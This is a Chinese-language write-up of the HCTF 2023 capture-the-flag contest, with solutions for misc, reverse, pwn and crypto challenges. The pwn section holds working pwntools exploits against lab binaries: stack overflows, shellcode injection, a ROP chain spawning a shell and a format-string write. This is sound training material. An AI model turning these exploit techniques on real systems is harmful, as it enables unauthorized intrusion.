HCTF 2023 wp
HCTF 2023 wp
一、Misc
1.玩原神玩的
分析:附件为一张图片
观察最后一行,明显有flag的格式
搜索得知是
对照得flag为:hctf{yuanlainiyewanyuanshenhhh}
2.signin
附件为一段文本
WzEwNCwgOTksIDExNiwgMTAyLCAxMjMsIDY2LCA5NywgMTE1LCAxMDEsIDk1LCA3MCwgNjQsIDEwOSwgMTA1LCA0OSwgMTIxLCA5NSwgNTIsIDExNCwgMTAxLCA5NSwgODYsIDk3LCAxMTQsIDEwNSwgNDgsIDExNywgMTE1LCAxMjVd
base64解码后得到
[104, 99, 116, 102, 123, 66, 97, 115, 101, 95, 70, 64, 109, 105, 49, 121, 95, 52, 114, 101, 95, 86, 97, 114, 105, 48, 117, 115, 125]
很明显是ASCII码
编写py脚本
ascii_list = [104, 99, 116, 102, 123, 66, 97, 115, 101, 95, 70, 64, 109, 105, 49, 121, 95, 52, 114, 101, 95, 86, 97, 114, 105, 48, 117, 115, 125]
# 将ASCII码转换为字符
result = ''.join(chr(num) for num in ascii_list)
print(result)
得到hctf{Base_F@m1y_4re_Vari0us}
3.Bomb
先用nc连接,然后多尝试几次发现炸弹的分布比较固定,对照着通关即可拿到flag
二、Re
1.SDU的第一张考卷
将附件用 IDA pro打开
main函数里就有答案,最后一题需要猜,最多猜4次嘛()
flag:HCTF{ACCBDAADBB}
2. XOR
一个简单的异或,告诉了我们enc数组和密钥key,将enc数组中的元素与key逐位异或即可
写出py脚本:
enc = [ 16, 115, 38, 25, 3, 67, 109, 114, 23, 21, 103,52, 75, 111, 97, 90, 47, 45, 101, 32, 91, 83, 83,93, 60, 28, 0, 41, 93, 1, 109, 122, 38, 28, 17 ,40, 81, 66, 75, 67, 60, 98]
key = 'HCTF2023'
flag = ''
for i in range(len(enc)):
xor_result = enc[i] ^ ord(key[i % len(key)])
flag += chr(xor_result)
print(flag)
输出为:X0r_1s_A_V3ry_Sign1ficant_Too1_In_Encrypt!
flag:HCTF{X0r_1s_A_V3ry_Sign1ficant_Too1_In_Encrypt!}
3.Maze
放入IDA阅读代码
flag要进入一个check函数,我们继续阅读check函数
strcpy(
maze,
"********************U..**************.****..O*****...****.*******.******.*******........********************************");
count = 0;
init_location = 20;
while ( count <= 19 )
{
v1 = count++;
v2 = flag[v1];
if ( v2 == 100 )
{
++init_location;
}
else if ( v2 > 100 )
{
if ( v2 == 115 )
{
init_location += 15;
}
else if ( v2 == 119 )
{
init_location -= 15;
}
}
else if ( v2 == 97 )
{
--init_location;
}
}
return maze[init_location] == 79;
}
v2有wasd四种情况,想到上下左右四个方向
a 和 d 分别是位置-1和位置+1
而 w 和 s 是-15和+15
如果w s是向上下方向走的,则不难推出迷宫的规格为15×15
根据给出的字符串画出迷宫
***************
*****U..*******
*******.****..O
*****...****.**
*****.******.**
*****........**
***************
***************
代码里描述了起始位置为U,终点为O,则需要的操作为:
ddssaassdddddddwwwdd
flag:HCTF{ddssaassdddddddwwwdd}
三、pwn
1、gift
nc连接即可
2、Fly
先checksec一下
64位且可以进行栈溢出
然后我们阅读程序代码
read函数可以进行栈溢出,但进入if中我们需要找到一个字符使它的ASCII码值为-105
关于ASCII码为负值的原因可以参考:
https://blog.csdn.net/kelehaier/article/details/59560419
据此我们可以计算出实际的ASCII码为151
然后我们查看buf的栈
起始地址为0xD0
溢出值为:
offset = 0xD0+0x08
找到后门函数
后门函数起始地址为:
构造payload为:
payload = b'a'*offset+p64(0x40086E)
exp:
from pwn import *
r = remote("10.102.32.142", 23961)
ch = chr(151)
offset = 0xD0+0x08
r.sendline(ch)
payload = b'a'*offset+p64(0x40086E)
r.sendline(payload)
r.interactive()
成功拿到shell
3.sdu_L0g1n
同样先checksec一下
同样是64位且未开启栈保护
拖进IDA分析程序
发现有两次strcmp检测,我们需要绕过strcmp检测
可以通过后面加\x00
的方法绕过
找到后门函数:
观察程序结构,我们可以考虑从main函数通过read的栈溢出溢出到后门函数的位置,这样就可以劫持后门函数获取shell权限
经过反复调试,exp为
from pwn import *
r = remote("10.102.32.142", 26613)
offset = 0x40
r.sendline('SDUpwner\x00')
payload = b'N1nEmAN is C.o0O0OOOOL!\x00'+b'a'*offset +p64(0x4006C6)
r.sendline(payload)
r.interactive()
4.rdshellcode
打开附件,观察main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[104]; // [rsp+0h] [rbp-70h] BYREF
int v5; // [rsp+68h] [rbp-8h] BYREF
int v6; // [rsp+6Ch] [rbp-4h]
setvbuf(stdin, 0LL, 0, 0LL);
setvbuf(stdout, 0LL, 1, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("I'm glad that you choose pwn");
puts("But i am n0t sure you really love pwn or not");
puts("Can't you prove yourself?");
puts("Tell me something....");
srand(0x2023u);
v6 = rand() % 2 - 60;
__isoc99_scanf("%d", &v5);
if ( v6 != v5 )
{
puts("You DO Not Really Love PWN !");
exit(1);
}
puts("Nice!!!!, you have proved your love for pwn");
printf("It's time for me: %p\n", buf);
puts("Dot' you want to make friends with me?");
read(0, buf, 0x100uLL);
return 0;
}
v6
实际上是一个伪随机数,一直为-59,我们让v5
的值为-59即可
然后程序会输出一个地址
发现地址是随机化的,所以我们要用pwntools里的内置函数读取printf出的buf的地址
exp如下:
from pwn import *
p = remote("10.102.32.142",27714)
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
p.sendline(b'-59')
p.recvuntil(b':')
buf = p.recvline()
print(buf)
#shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
# shellcode = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
payload = b'A' * (0x70 + 8) + p64(int(buf,16) + 0x70 + 8 + 8) + shellcode
p.sendline(payload)
p.interactive()
buf的栈深度是0x70,64位程序+8,后面再+8是shellcode地址的长度,于是我们可以得到如下模板
payload = b'A' * (栈深度 + 8) + p64(int(栈地址,16) + 0x70 + 8 + 8) + shellcode
shellcode我们可以用pwntools生成
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
运行exp得到flag
5.fleshman
main函数如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[32]; // [rsp+0h] [rbp-20h] BYREF
memset(s, 0, sizeof(s));
init();
puts("We1c0me t0 SDU! Since y0u are f1esh here,te11 me s0mething ab0ut Y0u:");
puts("Your name: ");
read(0, s, 0x20uLL);
puts("Your ID: ");
read(0, s, 0x28uLL);
if ( !strcmp(s, "pwnner") )
{
printf("\nNice t0 mEEt y0u %s", s);
putchar(10);
vuln();
}
getflag();
return 0;
}
strcmp绕过+构造ROP链
用ROPgadget查找出pop rdi的地址
ROPgadget --binary 文件路径 --only "pop|ret" | grep rdi
然后套用rop链的模板
payload = b'a'*offset +p64(pop_rdi)+ p64(binsh)+p64(call_system)
exp如下:
from pwn import *
p = remote("10.102.32.142",31698)
p.sendline(b'miyu')
p.sendline(b'pwnner\x00')
offset = 0x70 + 8
binsh = 0x402640
call_system=0x401392
pop_rdi = 0x401513
payload = b'a'*offset +p64(pop_rdi)+ p64(binsh)+p64(call_system)
p.sendlineafter(b'WhAt can Y0u d0....',payload)
p.interactive()
得到flag
6.rememberornot
观察main函数,发现只要计算100道题的答案即可获得flag
直接上脚本
from pwn import *
p = remote("10.102.32.142",38108)
p.recvuntil(b':')
for i in range(100):
p.recvuntil(b':')
expression = p.recvline()
Expression = expression[:-3]
print(Expression)
ans = eval(Expression)
Ans = str(ans)
print(ans)
p.sendline(Ans)
p.interactive()
利用python内置的eval函数即可进行表达式的运算
flag:HCTF{Y0U_RE@l1Y_REMEMbER_Y0uR_mA7H968ce06ba4d9}
7.overflow
本题为最简单的栈溢出
vuln函数
int vuln()
{
int result; // eax
char v1[76]; // [rsp+0h] [rbp-50h] BYREF
int v2; // [rsp+4Ch] [rbp-4h]
v2 = 0;
result = gets(v1);
if ( v2 == 2 )
return system("cat flag");
return result;
}
直接对v1
进行溢出即可
exp:
from pwn import *
p = remote("10.102.32.142",22019)
offset = 0x50+8
system_addr=0x401225
payload = b'a'*offset+p64(system_addr)
p.sendline(payload)
p.interactive()
8. gift军训版
关键函数如下:
void __cdecl junxun()
{
char you; // [rsp+6h] [rbp-Ah] BYREF
char fesitival; // [rsp+7h] [rbp-9h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
fesitival = -127;
puts("\x1B[33mMilitary training? When is the festival\x1B[0m");
__isoc99_scanf("%c", &you);
printf("You believe 0x%hhx is the fesitival?", (unsigned int)you);
if ( fesitival != you )
{
puts(" nononono...");
exit(1337);
}
puts(" yesyesyes!!!");
system("sh");
}
又是熟悉的ASCII码为负值的情况
实际的ASCII码为129
exp:
from pwn import *
p = remote("10.102.32.142",47318)
payload =chr(129)
p.sendline(payload)
p.interactive()
9.小明的家庭住址
本题核心点在于格式化字符串的利用
main函数:
nt __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[48]; // [rsp+0h] [rbp-70h] BYREF
char format[56]; // [rsp+30h] [rbp-40h] BYREF
unsigned __int64 v6; // [rsp+68h] [rbp-8h]
v6 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts("\n\x1B[33m---------------------------------------------");
puts("----------\x1B[0m\x1B[34mWelcome_to_address_SYSTEM\x1B[0m\x1B[33m----------");
puts("---------------------------------------------\x1B[0m\n");
puts("\x1B[32;5mWhere is XiaoMing's Home?\x1B[0m");
read(0, buf, 0x30uLL);
printf(buf);
puts("\x1B[32;5mAnd where is XiaoHong's?\x1B[0m");
read(0, format, 0x30uLL);
printf(format);
return 0;
}
对于这种printf
没有任何限制条件的情况,我们可以利用格式化字符串漏洞
首先我们利用%p
得到ret寄存器的地址
然后计算偏移
偏移为13
然后我们找到后门函数的地址0x40159C=4199836(十进制)
可以构造%4199836c%14$lln
exp如下:
from pwn import*
p = remote("10.102.32.142", 40682)
p.recv()
p.send(b'aaaa-%p')
p.recvuntil(b'Home?\x1b[0m\n')
addr = p.recv()[5:19]
Addr = int(addr ,16)
offset = 0x70+8
ret_addr = Addr+offset
payload = b'%4199836c%14$lln'+p64(ret_addr)
p.sendline(payload)
p.interactive()
四、Crypto
1.caesar
偏移量11
hctf{obviouslythisiscaesarcipher}
2.not_caesar
维吉尼亚密码,且没有告诉我们密钥
一个好用的网站 https://www.guballa.de/vigenere-solver
通过统计字符出现的频率来爆破出密码(文本足够长)
hctf{Icanbreakitwithoutkey}
3.MathⅠ
题目如下:
from Crypto.Util.number import *
from secret import prng
import os
flag = os.environ.get('FLAG', 'HCTF{this_is_a_sample_flag}')
#prng 参考2023新课标I卷P20
sys = prng()
def constraint():
time = 1000
sample_a = []
sample_b = []
for _ in range(time):
out = sys.next()
sample_a.append(out[0])
sample_b.append(out[1])
assert all([sample_a[i]-sample_a[i-1] == sys.d for i in range(1, time)])
assert all([sample_b[i-1] == (i**2+i)/sample_a[i-1] for i in range(1, time)])
assert 3*sample_a[1] == 3*sample_a[0]+sample_a[2]
return sum(sample_a[:777]+sample_b[:777])
def rsa_plus(m):
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 0x10001
m = bytes_to_long(m.encode())
r1 = sys.next()[0]
r2 = sys.next()[0]
c = pow(pow(pow(m, e, n)*r1, e, n)*r2, e, n)
h = 2*p+3*q
return n, c, h
h1 = constraint()
n, c, h2 = rsa_plus(flag)
print(f'n = {n}')
print(f'c = {c}')
print(f'hint1 = {h1}')
print(f'hint2 = {h2}')
"""
n = 123448414953228974011805323696137868781943298061640108583721204983031140531897314375841622324228108297198646457634512292527604743406056418492269259916712299664727931022315281719439527653756604578385299396113560339992952472500080663133453498156861989739986186852600863076353168997852910108312422507070843691527
c = 70355784775921655880380025465489949573241301926464797611681833071256665441460869302372712558837199110767728290007652944220079907048322612573185968943864339915304868935319658344195708544022979094906385190425552202576200107202487083736800245172584184112275476974513051986233708501062909943346214681580048469716
hint1 = 234850971.0
hint2 = 54673117809069678475594947601860826118221736045735845051744912971409541561632603188516528135267179886112707141940065852170163389165168708306257365103150093
"""
constraint()函数描述了2023新课标I卷P20的题干部分
并且告诉我们h1是\(a_n\)和\(b_n\)的前777项和,即
我们由此可以计算出\(a_n\)的通项公式为\(a_n=777n\)
根据time=1000,我们可以得出\(r_1\)和\(r_2\)是数列\(a_n\)的第1001项和第1002项,即:
然后根据含有\(p,q\)的两个式子,可以得到一个二元方程组:
其中\(n\)和\(hint2\)都是已知的,因此我们可以解出\(p\)和\(q\)。
from sympy import symbols, Eq, solve
import gmpy2
# 定义未知数
p, q = symbols("p q")
# 解方程
expr2 = [2*p+3*q-54673117809069678475594947601860826118221736045735845051744912971409541561632603188516528135267179886112707141940065852170163389165168708306257365103150093, p*q-123448414953228974011805323696137868781943298061640108583721204983031140531897314375841622324228108297198646457634512292527604743406056418492269259916712299664727931022315281719439527653756604578385299396113560339992952472500080663133453498156861989739986186852600863076353168997852910108312422507070843691527]
r2 = solve(expr2, [p, q])
print("r2:", r2)
得到:
p = 12384051763953430863668172341605062087552196009776396484360059546294965143403046818805051855772540020996782547927228938821561716941140613694437078638123523
q = 9968338093720938916086200972883567314372448008727684027674931292939870424942169850302141474574033281373047348695202658175679985094295826972461069275634349
然后我们根据c = pow(pow(pow(m, e, n)*r1, e, n)*r2, e, n)
进行解密
exp如下:
import gmpy2
from Crypto.Util.number import *
r1=1001*777
r2=1002*777
p = 12384051763953430863668172341605062087552196009776396484360059546294965143403046818805051855772540020996782547927228938821561716941140613694437078638123523
q = 9968338093720938916086200972883567314372448008727684027674931292939870424942169850302141474574033281373047348695202658175679985094295826972461069275634349
c = 70355784775921655880380025465489949573241301926464797611681833071256665441460869302372712558837199110767728290007652944220079907048322612573185968943864339915304868935319658344195708544022979094906385190425552202576200107202487083736800245172584184112275476974513051986233708501062909943346214681580048469716
e = 0x10001
n = 123448414953228974011805323696137868781943298061640108583721204983031140531897314375841622324228108297198646457634512292527604743406056418492269259916712299664727931022315281719439527653756604578385299396113560339992952472500080663133453498156861989739986186852600863076353168997852910108312422507070843691527
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
c1 = m*gmpy2.invert(r2, n)
m1 = pow(c1, d, n)
c2 = m1*gmpy2.invert(r1, n)
m2 = pow(c2, d, n)
print(long_to_bytes(m2).decode())
在共模下做除法我们需要求出r1和r2关于n的逆元\(r_1^{-1}\)和\(r_2^{-1}\)
最终解得flag为:
HCTF{D0_y0u_900d_4t_m47h?###}